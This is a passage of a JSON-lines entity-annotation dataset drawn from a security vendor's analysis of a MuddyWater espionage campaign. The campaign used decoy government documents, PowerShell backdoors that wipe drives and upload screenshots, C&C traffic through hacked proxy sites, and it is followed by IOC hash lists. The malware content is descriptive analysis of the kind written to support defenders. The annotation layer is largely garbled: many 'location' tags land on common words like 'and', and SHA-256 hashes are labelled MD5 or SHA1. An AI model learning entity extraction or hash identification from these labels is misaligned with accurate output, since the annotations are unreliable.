industries.","entities":[{"id":23236,"label":"location","start_offset":37,"end_offset":40},{"id":23237,"label":"location","start_offset":68,"end_offset":71},{"id":23238,"label":"location","start_offset":76,"end_offset":84},{"id":23239,"label":"location","start_offset":90,"end_offset":94},{"id":23240,"label":"location","start_offset":95,"end_offset":101},{"id":23241,"label":"location","start_offset":179,"end_offset":182}],"relations":[],"Comments":[]} {"id":7468,"text":"Comparing the earlier MuddyWater campaign with this new one reveals some distinct similiarities: 2017 MuddyWater Campaign 2018 “MuddyWater” Campaign Countries of Targeted Organizations Georgia, India, Iraq, Israel, Pakistan, Saudi Arabia Turkey United Arab Emirates, and the USA Turkey, Pakistan, Tajikistan","entities":[{"id":23243,"label":"location","start_offset":33,"end_offset":41},{"id":23244,"label":"location","start_offset":56,"end_offset":59},{"id":23246,"label":"threat-actor","start_offset":105,"end_offset":115},{"id":23247,"label":"location","start_offset":116,"end_offset":124},{"id":23249,"label":"threat-actor","start_offset":131,"end_offset":141},{"id":23250,"label":"location","start_offset":143,"end_offset":151},{"id":23259,"label":"location","start_offset":270,"end_offset":273}],"relations":[],"Comments":[]} -{"id":7469,"text":"Decoy Documents","entities":[{"id":23264,"label":"location","start_offset":0,"end_offset":5}],"relations":[],"Comments":[]} -{"id":7470,"text":"The documents try to mimic government organizations, including the Iraqi National Intelligence Service, the National Security Agency, and the Ministry of Interior of Saudi Arabia ","entities":[{"id":23266,"label":"location","start_offset":73,"end_offset":81},{"id":23268,"label":"location","start_offset":134,"end_offset":137}],"relations":[],"Comments":[]} -{"id":7471,"text":"The documents try to mimic government organizations such as the Ministry of Internal Affairs of the Republic of Tajikistan.","entities":[{"id":23271,"label":"location","start_offset":100,"end_offset":108},{"id":23272,"label":"location","start_offset":112,"end_offset":122}],"relations":[],"Comments":[]} {"id":7472,"text":"Some documents also come with government emblems.","entities":[],"relations":[],"Comments":[]} {"id":7473,"text":"Dropped Files Visual Basic file and Powershell file; the VBS file executes the PS file","entities":[{"id":23273,"label":"location","start_offset":32,"end_offset":35},{"id":23274,"label":"attack-pattern","start_offset":36,"end_offset":46}],"relations":[],"Comments":[]} -{"id":7474,"text":" Proxies Hundreds of hacked websites are used as proxies.","entities":[{"id":23276,"label":"location","start_offset":38,"end_offset":41}],"relations":[],"Comments":[]} -{"id":7475,"text":" In addition to the common characteristics seen above, the campaigns also use similar obfuscation processes, as are the internal variables after deobfuscation.","entities":[{"id":23277,"label":"location","start_offset":116,"end_offset":119}],"relations":[],"Comments":[]} -{"id":7476,"text":"A list of isDebugEnv is also present in both campaigns.","entities":[{"id":23278,"label":"location","start_offset":2,"end_offset":6}],"relations":[],"Comments":[]} {"id":7477,"text":"Infection Chain Figure 1.","entities":[],"relations":[],"Comments":[]} {"id":7478,"text":"Infection chain for the attack","entities":[],"relations":[],"Comments":[]} -{"id":7479,"text":"Our research found malicious delivery documents (Detected by Trend Micro as JS_VALYRIA.DOCT and W2KM_VALYRIA.DOCT) containing text and file names in the Tajik language attempting to target individuals working for government organizations and telecommunication companies in Tajikistan.","entities":[{"id":23281,"label":"location","start_offset":92,"end_offset":95},{"id":23282,"label":"location","start_offset":131,"end_offset":134},{"id":23285,"label":"location","start_offset":182,"end_offset":188},{"id":23286,"label":"location","start_offset":238,"end_offset":241}],"relations":[],"Comments":[]} -{"id":7480,"text":"Each document uses social engineering to trick potential victims into clicking it to enable the macros and activate the payload.","entities":[{"id":23288,"label":"location","start_offset":103,"end_offset":106}],"relations":[],"Comments":[]} -{"id":7481,"text":"While some of the payloads we observed were embedded inside the document itself, some of the payloads were also downloaded from the internet after the lure was clicked.","entities":[{"id":23289,"label":"location","start_offset":151,"end_offset":155}],"relations":[],"Comments":[]} -{"id":7482,"text":"There is a separate lure with a program key generator written in Java that was bundled with a Java downloader.","entities":[{"id":23290,"label":"location","start_offset":20,"end_offset":24},{"id":23291,"label":"location","start_offset":65,"end_offset":69},{"id":23292,"label":"location","start_offset":94,"end_offset":98}],"relations":[],"Comments":[]} -{"id":7483,"text":"However, the actual payload is the same.","entities":[{"id":23293,"label":"location","start_offset":35,"end_offset":39}],"relations":[],"Comments":[]} -{"id":7484,"text":"Some examples of the lure documents used in the campaign can be seen below: Figure 2. A sample document","entities":[{"id":23294,"label":"location","start_offset":21,"end_offset":25},{"id":23295,"label":"location","start_offset":48,"end_offset":56},{"id":23296,"label":"location","start_offset":57,"end_offset":60},{"id":23298,"label":"location","start_offset":89,"end_offset":95}],"relations":[],"Comments":[]} {"id":7485,"text":"used","entities":[],"relations":[],"Comments":[]} -{"id":7486,"text":"in the campaign","entities":[{"id":23299,"label":"location","start_offset":7,"end_offset":15}],"relations":[],"Comments":[]} -{"id":7487,"text":"Note that it uses the Tajikistan emblem, signifying that this is likely used to target government organizations or make it seem that it came from one Figure 3.","entities":[{"id":23301,"label":"location","start_offset":33,"end_offset":39},{"id":23302,"label":"location","start_offset":65,"end_offset":71},{"id":23303,"label":"location","start_offset":80,"end_offset":86},{"id":23304,"label":"location","start_offset":146,"end_offset":149}],"relations":[],"Comments":[]} -{"id":7488,"text":"A second lure document that we found being used in the campaign designed to look like a document sent to telecommunication companies regarding dissatisfaction with their service; it also asks them to fill out a form, which can be seen in the table at the bottom Figure 4.","entities":[{"id":23307,"label":"location","start_offset":9,"end_offset":13},{"id":23308,"label":"location","start_offset":55,"end_offset":63},{"id":23309,"label":"location","start_offset":192,"end_offset":196},{"id":23310,"label":"location","start_offset":223,"end_offset":226}],"relations":[],"Comments":[]} {"id":7489,"text":"Another example of a header allegedly from the Ministry of Internal Affairs of Tajikistan","entities":[],"relations":[],"Comments":[]} {"id":7490,"text":"After enabling the macros and the payload executes, two files – an obfuscated Visual Basic script (Detected by Trend Micro as VBS_VALYRIA.DOCT), and an obfuscated PowerShell script (Detected by Trend Mico as TROJ_VALYRIA.PS) — are created in the ProgramData directory placed in randomly-named directories.","entities":[{"id":23313,"label":"location","start_offset":26,"end_offset":29},{"id":23315,"label":"location","start_offset":118,"end_offset":123},{"id":23316,"label":"location","start_offset":146,"end_offset":149},{"id":23317,"label":"attack-pattern","start_offset":164,"end_offset":174},{"id":23318,"label":"location","start_offset":201,"end_offset":205},{"id":23319,"label":"location","start_offset":228,"end_offset":231}],"relations":[],"Comments":[]} {"id":7491,"text":"The purpose of the .VBS script is to execute the PowerShell script.","entities":[{"id":23320,"label":"attack-pattern","start_offset":49,"end_offset":59}],"relations":[],"Comments":[]} {"id":7492,"text":"The path to the VBS script is added to the task scheduler as a form of persistence.","entities":[],"relations":[],"Comments":[]} {"id":7493,"text":"Figure 5.","entities":[],"relations":[],"Comments":[]} -{"id":7494,"text":"The installed backdoor and persistence script","entities":[{"id":23322,"label":"location","start_offset":23,"end_offset":26}],"relations":[],"Comments":[]} -{"id":7495,"text":"In other campaigns, two files are also dropped.","entities":[{"id":23324,"label":"location","start_offset":30,"end_offset":33}],"relations":[],"Comments":[]} -{"id":7496,"text":"One of them is the VBS script, however, the second file is a base64 encoded text file, which, after decoding, results in the Powershell file, as in the previous campaign.","entities":[{"id":23326,"label":"location","start_offset":7,"end_offset":11},{"id":23329,"label":"location","start_offset":161,"end_offset":169}],"relations":[],"Comments":[]} -{"id":7497,"text":"This is one simple layer of obfuscation, likely to avoid some antivirus detections.","entities":[{"id":23331,"label":"location","start_offset":41,"end_offset":47}],"relations":[],"Comments":[]} -{"id":7498,"text":"The latest change, drops three files – an.sct scriptlet file, an.inf file and a base64 encoded data file.","entities":[{"id":23333,"label":"location","start_offset":74,"end_offset":77}],"relations":[],"Comments":[]} -{"id":7499,"text":"The scriptlet file and inf file use publicly available code for bypassing applockerCode examples are also available on github.","entities":[{"id":23334,"label":"location","start_offset":19,"end_offset":22},{"id":23335,"label":"location","start_offset":97,"end_offset":100}],"relations":[],"Comments":[]} {"id":7500,"text":"The PowerShell script, which employs several layers of obfuscation, is divided into three parts.","entities":[{"id":23336,"label":"attack-pattern","start_offset":4,"end_offset":14}],"relations":[],"Comments":[]} -{"id":7501,"text":"Part one contains global variables like paths, encryption keys, a list of a few hundred gates or hacked websites which serve as proxies: Figure 6.","entities":[{"id":23339,"label":"location","start_offset":66,"end_offset":70},{"id":23341,"label":"location","start_offset":88,"end_offset":93}],"relations":[],"Comments":[]} {"id":7502,"text":"The configuration portion of the PowerShell script","entities":[{"id":23343,"label":"attack-pattern","start_offset":33,"end_offset":43}],"relations":[],"Comments":[]} {"id":7503,"text":"The second part contains functions related to the encryption, which is a standard RSA encryption with very small keys.","entities":[{"id":23345,"label":"location","start_offset":73,"end_offset":81},{"id":23346,"label":"identity","start_offset":82,"end_offset":85},{"id":23347,"label":"location","start_offset":107,"end_offset":112}],"relations":[],"Comments":[]} {"id":7504,"text":"The third part contains the backdoor function.","entities":[],"relations":[],"Comments":[]} -{"id":7505,"text":"This function will first collect machine information and take screenshots before it sends this data to a command-and-control (C&C) server while waiting for commands.","entities":[{"id":23349,"label":"location","start_offset":14,"end_offset":18},{"id":23351,"label":"location","start_offset":53,"end_offset":56},{"id":23352,"label":"location","start_offset":113,"end_offset":116}],"relations":[],"Comments":[]} -{"id":7506,"text":"These include the following actions: clean, reboot, shutdown, screenshot, and upload.","entities":[{"id":23353,"label":"location","start_offset":74,"end_offset":77}],"relations":[],"Comments":[]} -{"id":7507,"text":"The clean command attempts to recursively delete all the items from drives C, D, E, and F. Figure 7.","entities":[{"id":23354,"label":"location","start_offset":84,"end_offset":87}],"relations":[],"Comments":[]} -{"id":7508,"text":"The clean command wipes drives C, D, E and F C&C Communication","entities":[{"id":23356,"label":"location","start_offset":39,"end_offset":42}],"relations":[],"Comments":[]} -{"id":7509,"text":"The communication is done via XML messages with the following supported ACTION commands: REGISTER IMAGE COMMAND RESULT UPLOAD ","entities":[{"id":23357,"label":"location","start_offset":72,"end_offset":78},{"id":23358,"label":"location","start_offset":90,"end_offset":98}],"relations":[],"Comments":[]} {"id":7510,"text":"The backdoor first finds out the machine IP address by querying the internet service api[.]ipify[.]org, which returns the IP address of the currently infected machine.","entities":[],"relations":[],"Comments":[]} -{"id":7511,"text":"This IP address is then fed to another internet service called apinotes[.]com, which returns the location information of the given IP address.","entities":[{"id":23359,"label":"location","start_offset":125,"end_offset":130}],"relations":[],"Comments":[]} -{"id":7512,"text":"The backdoor then collects the system information about the infected machine such as the Operating System name, architecture, domain, network adapter configuration, and username.","entities":[{"id":23360,"label":"location","start_offset":165,"end_offset":168}],"relations":[],"Comments":[]} -{"id":7513,"text":"It then separates each piece of information with **, and sends this system info as part of the REGISTER message: Figure 8.","entities":[{"id":23361,"label":"location","start_offset":53,"end_offset":56},{"id":23362,"label":"location","start_offset":95,"end_offset":103}],"relations":[],"Comments":[]} -{"id":7514,"text":"The register message before encryption","entities":[{"id":23364,"label":"location","start_offset":4,"end_offset":12}],"relations":[],"Comments":[]} {"id":7515,"text":"A simple RSA algorithm with very small keys encrypts the message seen above.","entities":[{"id":23365,"label":"identity","start_offset":9,"end_offset":12},{"id":23366,"label":"location","start_offset":33,"end_offset":38}],"relations":[],"Comments":[]} {"id":7516,"text":"Let’s take the first character as an example.","entities":[],"relations":[],"Comments":[]} {"id":7517,"text":"Character “{” = 0x7B =123.","entities":[],"relations":[],"Comments":[]} {"id":7518,"text":"Variable ${prIVATE} = 959, 713 from section 1 of the PowerShell script has two values; the first number is the key and the second number is the modulus.","entities":[{"id":23368,"label":"location","start_offset":36,"end_offset":43},{"id":23370,"label":"attack-pattern","start_offset":53,"end_offset":63},{"id":23372,"label":"location","start_offset":115,"end_offset":118}],"relations":[],"Comments":[]} {"id":7519,"text":"By computing (123 ^ 959) mod 713 = 340 we get the encrypted value of the first character (see number 340 in the figure below).","entities":[],"relations":[],"Comments":[]} -{"id":7520,"text":" The message above gets encrypted as shown in figure 9 below, then its contents are sent via post request to one of many hacked gates.","entities":[{"id":23376,"label":"location","start_offset":80,"end_offset":83},{"id":23377,"label":"location","start_offset":93,"end_offset":97},{"id":23378,"label":"location","start_offset":109,"end_offset":112},{"id":23379,"label":"location","start_offset":116,"end_offset":120},{"id":23380,"label":"location","start_offset":128,"end_offset":133}],"relations":[],"Comments":[]} {"id":7521,"text":" Figure 9.","entities":[],"relations":[],"Comments":[]} -{"id":7522,"text":"The register message after encryption","entities":[{"id":23382,"label":"location","start_offset":4,"end_offset":12}],"relations":[],"Comments":[]} -{"id":7523,"text":"The response to this message is another set of decimal numbers which can be decrypted by the public key, which is stored in ${pUbLIC} = 37, 437 variable in part 1 of the PowerShell script.","entities":[{"id":23383,"label":"location","start_offset":69,"end_offset":72},{"id":23384,"label":"location","start_offset":93,"end_offset":99},{"id":23385,"label":"location","start_offset":126,"end_offset":132}],"relations":[],"Comments":[]} {"id":7524,"text":"Figure 10.","entities":[],"relations":[],"Comments":[]} -{"id":7525,"text":"The encrypted response to the register message","entities":[{"id":23389,"label":"location","start_offset":30,"end_offset":38}],"relations":[],"Comments":[]} {"id":7526,"text":"The message above can be decrypted to: {\"STATUS\": \"OK\", \"TOKEN\": \"d02153ffaf8137b1fa3bb852a27a12f8\"}","entities":[{"id":23390,"label":"location","start_offset":18,"end_offset":21},{"id":23391,"label":"MD5","start_offset":66,"end_offset":98}],"relations":[],"Comments":[]} -{"id":7527,"text":"The XML message containing screenshot can be seen below.","entities":[{"id":23392,"label":"location","start_offset":38,"end_offset":41}],"relations":[],"Comments":[]} -{"id":7528,"text":"Note that the previously obtained SYSID that serves as a machine identifier, ACTION:”IMAGE” tells us that a base64 encoded image will be followed in IMAGE field.","entities":[{"id":23393,"label":"location","start_offset":129,"end_offset":133},{"id":23394,"label":"location","start_offset":155,"end_offset":160}],"relations":[],"Comments":[]} {"id":7529,"text":" Figure 11.","entities":[],"relations":[],"Comments":[]} {"id":7530,"text":"The XML message with the screenshot","entities":[],"relations":[],"Comments":[]} -{"id":7531,"text":"It seems that the attackers are actively monitoring the incoming connections to the C&C.","entities":[{"id":23396,"label":"location","start_offset":28,"end_offset":31}],"relations":[],"Comments":[]} -{"id":7532,"text":"In one of our attempts, we sent an improper request to the C&C server, which replied with the following message: “Stop!!! I Kill You Researcher.","entities":[{"id":23398,"label":"location","start_offset":114,"end_offset":118}],"relations":[],"Comments":[]} -{"id":7533,"text":"” This level of personalized messaging implies that the attackers are monitoring what data is going to and from their C&C server.","entities":[{"id":23399,"label":"location","start_offset":66,"end_offset":69},{"id":23400,"label":"location","start_offset":103,"end_offset":106}],"relations":[],"Comments":[]} {"id":7534,"text":" Figure 12.","entities":[],"relations":[],"Comments":[]} -{"id":7535,"text":"When the threat actor discovers the researcher via an improper request Another hidden message or a false flag?","entities":[{"id":23402,"label":"location","start_offset":105,"end_offset":109}],"relations":[],"Comments":[]} {"id":7536,"text":"For the PowerShell script, the first part contains a variable named dragon_middle, which is an array containing a few hundred URLs ending with connection.php that serve as proxies between victim and C&C.","entities":[{"id":23403,"label":"attack-pattern","start_offset":8,"end_offset":18},{"id":23406,"label":"location","start_offset":180,"end_offset":187},{"id":23407,"label":"location","start_offset":195,"end_offset":198}],"relations":[],"Comments":[]} {"id":7537,"text":"If communication with C&C fails, and if the PowerShell script is run from a command line, a few error messages written in simplified Mandarin Chinese are displayed, with a curious phrase that translates to \"waiting for dragon\": 无法访问本地计算机寄存器 (Unable to access local computer register) 任务计划程序访问被拒绝 (Mission Scheduler access is denied) 无法连接到网址，请等待龙 (Cannot connect to URL, please wait for dragon) 无法连接到网址，请等待龙 (Cannot connect to website, please wait for dragon) These messages may not reveal anything about the real attackers as the malware writers sometimes like to embed false flags into their programs to confuse researchers.","entities":[{"id":23408,"label":"location","start_offset":33,"end_offset":36},{"id":23409,"label":"attack-pattern","start_offset":44,"end_offset":54},{"id":23411,"label":"location","start_offset":150,"end_offset":153},{"id":23412,"label":"location","start_offset":275,"end_offset":283},{"id":23413,"label":"location","start_offset":298,"end_offset":305},{"id":23414,"label":"location","start_offset":348,"end_offset":351},{"id":23415,"label":"location","start_offset":409,"end_offset":412},{"id":23416,"label":"location","start_offset":476,"end_offset":479},{"id":23417,"label":"location","start_offset":510,"end_offset":514}],"relations":[],"Comments":[]} -{"id":7538,"text":"The syntax and grammar suggest that the language could have been machine-translated rather than written by a native speaker.","entities":[{"id":23418,"label":"location","start_offset":11,"end_offset":14}],"relations":[],"Comments":[]} {"id":7539,"text":"Countermeasures and Trend Micro Solutions Users unfamiliar with the various kinds of social engineering techniques might find it difficult to distinguish a legitimate message from a malicious one – thus the need for education on identifying and mitigating phishing attacks – especially if it involves organizations in sensitive industries such as government and manufacturing.","entities":[{"id":23419,"label":"location","start_offset":16,"end_offset":19},{"id":23420,"label":"location","start_offset":26,"end_offset":31},{"id":23421,"label":"location","start_offset":192,"end_offset":195},{"id":23422,"label":"location","start_offset":241,"end_offset":244},{"id":23423,"label":"attack-pattern","start_offset":256,"end_offset":264},{"id":23424,"label":"location","start_offset":358,"end_offset":361}],"relations":[],"Comments":[]} -{"id":7540,"text":" Context, in this case, is important.","entities":[{"id":23425,"label":"location","start_offset":18,"end_offset":22}],"relations":[],"Comments":[]} -{"id":7541,"text":"Users need to consider why they received an email and avoid clicking on any links or attachments in general until they are certain that they are legitimate.","entities":[{"id":23426,"label":"location","start_offset":50,"end_offset":53},{"id":23427,"label":"location","start_offset":119,"end_offset":122},{"id":23428,"label":"location","start_offset":141,"end_offset":144}],"relations":[],"Comments":[]} -{"id":7542,"text":"Trend Micro™ Deep Discovery™ provides detection, in-depth analysis, and proactive response to today’s stealthy malware, and targeted attacks in real time.","entities":[{"id":23429,"label":"location","start_offset":6,"end_offset":11},{"id":23430,"label":"location","start_offset":68,"end_offset":71},{"id":23432,"label":"location","start_offset":120,"end_offset":123},{"id":23433,"label":"location","start_offset":144,"end_offset":148},{"id":23434,"label":"location","start_offset":149,"end_offset":153}],"relations":[],"Comments":[]} -{"id":7543,"text":"It provides a comprehensive defense tailored to protect organizations against targeted attacks and advanced threats through specialized engines, custom sandboxing, and seamless correlation across the entire attack lifecycle, allowing it to detect threats even without any engine or pattern update.","entities":[{"id":23435,"label":"location","start_offset":95,"end_offset":98},{"id":23436,"label":"location","start_offset":164,"end_offset":167}],"relations":[],"Comments":[]} -{"id":7544,"text":"Malware such as the one analyzed in this entry also use email as an entry point, which is why it's important to secure the email gateway.","entities":[{"id":23437,"label":"location","start_offset":20,"end_offset":23},{"id":23438,"label":"location","start_offset":74,"end_offset":79},{"id":23439,"label":"location","start_offset":129,"end_offset":136}],"relations":[],"Comments":[]} {"id":7545,"text":"Trend Micro™ Email Security is a no-maintenance cloud solution that delivers continuously updated protection to stop spam, malware, spear phishing, ransomware, and advanced targeted attacks before they reach the network. Trend Micro™ Deep Discovery™ Inspector and InterScan™ Web Security prevent malware from ever reaching end users.","entities":[{"id":23440,"label":"location","start_offset":6,"end_offset":11},{"id":23441,"label":"location","start_offset":19,"end_offset":27},{"id":23442,"label":"location","start_offset":48,"end_offset":53},{"id":23443,"label":"location","start_offset":98,"end_offset":108},{"id":23444,"label":"location","start_offset":112,"end_offset":116},{"id":23445,"label":"attack-pattern","start_offset":132,"end_offset":146},{"id":23446,"label":"location","start_offset":160,"end_offset":163},{"id":23448,"label":"location","start_offset":261,"end_offset":264},{"id":23450,"label":"location","start_offset":310,"end_offset":314}],"relations":[],"Comments":[]} -{"id":7546,"text":"At the endpoint level, Trend Micro™ Smart Protection Suites deliver several capabilities that minimize the impact of these attacks.","entities":[{"id":23452,"label":"location","start_offset":107,"end_offset":113}],"relations":[],"Comments":[]} -{"id":7547,"text":"These solutions are powered by the Trend Micro XGen™ security, which provides a cross-generational blend of threat defense techniques against a full range of threats for data centers, cloud environments, networks, and endpoints.","entities":[{"id":23453,"label":"location","start_offset":16,"end_offset":19},{"id":23455,"label":"location","start_offset":80,"end_offset":85},{"id":23456,"label":"location","start_offset":149,"end_offset":154},{"id":23457,"label":"location","start_offset":184,"end_offset":189},{"id":23458,"label":"location","start_offset":214,"end_offset":217}],"relations":[],"Comments":[]} {"id":7548,"text":"It features high-fidelity machine learning to secure the gateway and endpoint data and applications, and protects physical, virtual, and cloud workloads. Indicators of Compromise (IOCs) Hashes detected as W2KM_VALYRIA.DOCT: 009cc0f34f60467552ef79c3892c501043c972be55fe936efb30584975d45ec0 153117aa54492ca955b540ac0a8c21c1be98e9f7dd8636a36d73581ec1ddcf58 18479a93fc2d5acd7d71d596f27a5834b2b236b44219bb08f6ca06cf760b74f6 18cf5795c2208d330bd297c18445a9e25238dd7f28a1a6ef55e2a9239f5748cd 1ee9649a2f9b2c8e0df318519e2f8b4641fd790a118445d7a0c0b3c02b1ba942 2727bf97d7e2a5e7e5e41ccbfd7237c59023d70914834400da1d762d96424fde 2cea0b740f338c513a6390e7951ff3371f44c7c928abf14675b49358a03a5d13 3b1d8dcbc8072b1ec10f5300c3ea9bb20db71bd8fa443d97332790b74584a115 3d96811de7419a8c090a671d001a85f2b1875243e5b38e6f927d9877d0ff9b0c 3da24cd3af9a383b731ce178b03c68a813ab30f4c7c8dfbc823a32816b9406fb 6edc067fc2301d7a972a654b3a07398d9c8cbe7bb38d1165b80ba4a13805e5ac 76e9988dad0278998861717c774227bf94112db548946ef617bfaa262cb5e338 9038ba1b7991ff38b802f28c0e006d12d466a8e374d2f2a83a039aabcbe76f5c 93745a6605a77f149471b41bd9027390c91373558f62058a7333eb72a26faf84 a70aca719b06fc8ef0cd0b0e010c7bc8dc6d632e4f2f874e4c0e553bd8db2df2 aa60c1fae6a0ef3b9863f710e46f0a7407cf0feffa240b9a4661a4e8884ac627 af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102 cee801b7a901eb69cd166325ed3770daffcd9edd8113a961a94c8b9ddf318c88 d07d4e71927cab4f251bcc216f560674c5fb783add9c9f956d3fc457153be025 dfbd67177af9d35188fc9ff9363c2b9017e9ccfe6719e3d641a56fb5dc0d47f7 eff78c23790ee834f773569b52cddb01dc3c4dd9660f5a476af044ef6fe73894 fbbda9d8d9bcaaf9a7af84d08af3f5140f5f75778461e48253dc761cc9dc027c Hash detected as VBS_VALYRIA.DOCT: 0A9FC303CA03F4D9988A366CBBD96C24857E87374568EC5A4AAA4E55FE2C3C7E 0BC10D5396B3D8ECC54D806C59177B74E167D9F39D8F1B836806127AF36A7C4E 0BC10D5396B3D8ECC54D806C59177B74E167D9F39D8F1B836806127AF36A7C4E 25186621282D1E1BAD649B053BDB7B56E48B38189F80DB5A69B92301EF9ED613 25186621282D1E1BAD649B053BDB7B56E48B38189F80DB5A69B92301EF9ED613 3607432758176a2c41a1971b3c4d14a992a68b231851f8b81c6e816ea9ea29b2 59F9E0FAA73E93537AE4BD3A8695874BA25B66CEFA017537132914C770D0CF70 59F9E0FAA73E93537AE4BD3A8695874BA25B66CEFA017537132914C770D0CF70 59F9E0FAA73E93537AE4BD3A8695874BA25B66CEFA017537132914C770D0CF70 6228d79f56c574ceada16453404c54dd95641aa78d3faed6874daf485116793b 66af894eee6daae66bf0bcb87cb7abe2a0ebb6a59779f652db571e7ee298d751 92C7FEAD5EE0F0ECD35FE247DBE85648AADA4B96F1E960B527B4929E42D47B01 c006911be5480f09e0d8560c167561f68681607ca8f7e3c4f5d476dc6673594f F05C18C1D4428349137A9DF60CDEBE8A0F9E6DA47B359DC0616FF8D47E46704E Hash detected as TROJ_VALYRIA.PS: 0065d592d739ac1dd04d0335151c8855c7fafbf03e86134510ac2fc6766e8d60 0073ce0f4c82fc4d0470868e124aab9ad08852e1712564136186e5019fca0da0 02F58256FF52ED1CDB21064A28D6E5320005F02EF16E8B2FE851438BBC62A102 02F58256FF52ED1CDB21064A28D6E5320005F02EF16E8B2FE851438BBC62A102 04d61b1d2c3187280b3c4e93d064a051e9ee0f515f74c6c1c44ba577a7a1c804 04d61b1d2c3187280b3c4e93d064a051e9ee0f515f74c6c1c44ba577a7a1c804 0A9FC303CA03F4D9988A366CBBD96C24857E87374568EC5A4AAA4E55FE2C3C7E 0A9FC303CA03F4D9988A366CBBD96C24857E87374568EC5A4AAA4E55FE2C3C7E 4DD5C3CE5ED2145D5AFA8DD476A83DFC693E5FC7216C1EABB3FA0EB6B5F8590D 4DD5C3CE5ED2145D5AFA8DD476A83DFC693E5FC7216C1EABB3FA0EB6B5F8590D 55ae821cf112ff8d6185ce021f777f73d85150c62a835bb1c02fe9e7b3f863bf 61d846708f50024e1c65237eb7158beac9b9c5840853b03ef7c73fe5293a9a8d 624762a90b7272e247e5022576b7912d1aa0b32bc13aabc7ee47197e5b87a41b 6421C22D854C199B761436C87CAE1EAFFBA8783A3A40C00D4A0982D7C242EA79 92C7FEAD5EE0F0ECD35FE247DBE85648AADA4B96F1E960B527B4929E42D47B01 a53f832edc18de51e0ffaf67047072a6bbd5237defa74f5bf35dfc0df2aeca1b C1780F3AD76AF703CEDDD932B187CF919866A00BB3E2D6F0827B9DAE9D8875B6 C1780F3AD76AF703CEDDD932B187CF919866A00BB3E2D6F0827B9DAE9D8875B6 C9D782FFAA98791613FEF828E558B296932FA245192BD0EBA8F76536860DB84E C9D782FFAA98791613FEF828E558B296932FA245192BD0EBA8F76536860DB84E CCA8E84901C4184BE2849D29C39294FD4B6940F9A6668FDCFF9728CD319FFF96 CCA8E84901C4184BE2849D29C39294FD4B6940F9A6668FDCFF9728CD319FFF96 cca8e84901c4184be2849d29c39294fd4b6940f9a6668fdcff9728cd319fff96 e57dbce8130e281a73727122d33cbff170a54237cd0016d79b30ace18c94e7d4 Hash detected as JS_VALYRIA.DOCT: 070EBCAC92FB7619F957BF3F362099574158E5D2D0BC0CF9206A31BA55EDD48F Scriptlets and inf files related to applocker bypass: 2791fdc54ee037589f951c718935397e43d5f3d5f8e078e8b1e81165a3aebbaf 288afbe21d69e79a1cff44e2db7f491af10381bcc54436a8f900bcbd2a752a6f 5e173fbdcd672dade12a87eff0baf79ec4e80533e2b5f6cf1fac19ad847acba0 Tags Network | APT & Targeted Attacks | Research","entities":[{"id":23459,"label":"location","start_offset":17,"end_offset":25},{"id":23460,"label":"location","start_offset":57,"end_offset":64},{"id":23461,"label":"location","start_offset":65,"end_offset":68},{"id":23462,"label":"location","start_offset":83,"end_offset":86},{"id":23463,"label":"location","start_offset":101,"end_offset":104},{"id":23464,"label":"location","start_offset":133,"end_offset":136},{"id":23465,"label":"location","start_offset":137,"end_offset":142},{"id":23466,"label":"SHA2","start_offset":225,"end_offset":289},{"id":23467,"label":"SHA2","start_offset":290,"end_offset":354},{"id":23468,"label":"MD5","start_offset":355,"end_offset":419},{"id":23469,"label":"SHA1","start_offset":420,"end_offset":484},{"id":23470,"label":"MD5","start_offset":485,"end_offset":549},{"id":23471,"label":"SHA2","start_offset":550,"end_offset":614},{"id":23472,"label":"SHA2","start_offset":615,"end_offset":679},{"id":23473,"label":"SHA2","start_offset":680,"end_offset":744},{"id":23474,"label":"SHA1","start_offset":745,"end_offset":809},{"id":23475,"label":"MD5","start_offset":810,"end_offset":874},{"id":23476,"label":"SHA1","start_offset":875,"end_offset":939},{"id":23477,"label":"MD5","start_offset":940,"end_offset":1004},{"id":23478,"label":"SHA2","start_offset":1005,"end_offset":1069},{"id":23479,"label":"SHA2","start_offset":1070,"end_offset":1134},{"id":23480,"label":"SHA2","start_offset":1135,"end_offset":1199},{"id":23481,"label":"SHA1","start_offset":1200,"end_offset":1264},{"id":23482,"label":"SHA1","start_offset":1265,"end_offset":1329},{"id":23483,"label":"MD5","start_offset":1330,"end_offset":1394},{"id":23484,"label":"MD5","start_offset":1395,"end_offset":1459},{"id":23485,"label":"SHA2","start_offset":1460,"end_offset":1524},{"id":23486,"label":"SHA2","start_offset":1525,"end_offset":1589},{"id":23487,"label":"SHA2","start_offset":1590,"end_offset":1654},{"id":23488,"label":"SHA2","start_offset":1692,"end_offset":1756},{"id":23489,"label":"SHA2","start_offset":1757,"end_offset":1821},{"id":23490,"label":"SHA2","start_offset":1822,"end_offset":1886},{"id":23491,"label":"SHA2","start_offset":1887,"end_offset":1951},{"id":23492,"label":"SHA2","start_offset":1952,"end_offset":2016},{"id":23493,"label":"SHA2","start_offset":2017,"end_offset":2081},{"id":23494,"label":"SHA2","start_offset":2082,"end_offset":2146},{"id":23495,"label":"SHA2","start_offset":2147,"end_offset":2211},{"id":23496,"label":"SHA2","start_offset":2212,"end_offset":2276},{"id":23497,"label":"SHA2","start_offset":2277,"end_offset":2341},{"id":23498,"label":"SHA2","start_offset":2342,"end_offset":2406},{"id":23499,"label":"SHA2","start_offset":2407,"end_offset":2471},{"id":23500,"label":"SHA1","start_offset":2472,"end_offset":2536},{"id":23501,"label":"SHA2","start_offset":2537,"end_offset":2601},{"id":23502,"label":"MD5","start_offset":2638,"end_offset":2702},{"id":23503,"label":"SHA1","start_offset":2703,"end_offset":2767},{"id":23504,"label":"SHA2","start_offset":2768,"end_offset":2832},{"id":23505,"label":"SHA2","start_offset":2833,"end_offset":2897},{"id":23506,"label":"SHA2","start_offset":2898,"end_offset":2962},{"id":23507,"label":"SHA1","start_offset":2963,"end_offset":3027},{"id":23508,"label":"SHA2","start_offset":3028,"end_offset":3092},{"id":23509,"label":"SHA2","start_offset":3093,"end_offset":3157},{"id":23510,"label":"SHA2","start_offset":3158,"end_offset":3222},{"id":23511,"label":"SHA2","start_offset":3223,"end_offset":3287},{"id":23512,"label":"SHA2","start_offset":3288,"end_offset":3352},{"id":23513,"label":"MD5","start_offset":3353,"end_offset":3417},{"id":23514,"label":"SHA1","start_offset":3418,"end_offset":3482},{"id":23515,"label":"SHA2","start_offset":3483,"end_offset":3547},{"id":23516,"label":"SHA2","start_offset":3548,"end_offset":3612},{"id":23517,"label":"SHA2","start_offset":3613,"end_offset":3677},{"id":23518,"label":"SHA2","start_offset":3678,"end_offset":3742},{"id":23519,"label":"SHA2","start_offset":3743,"end_offset":380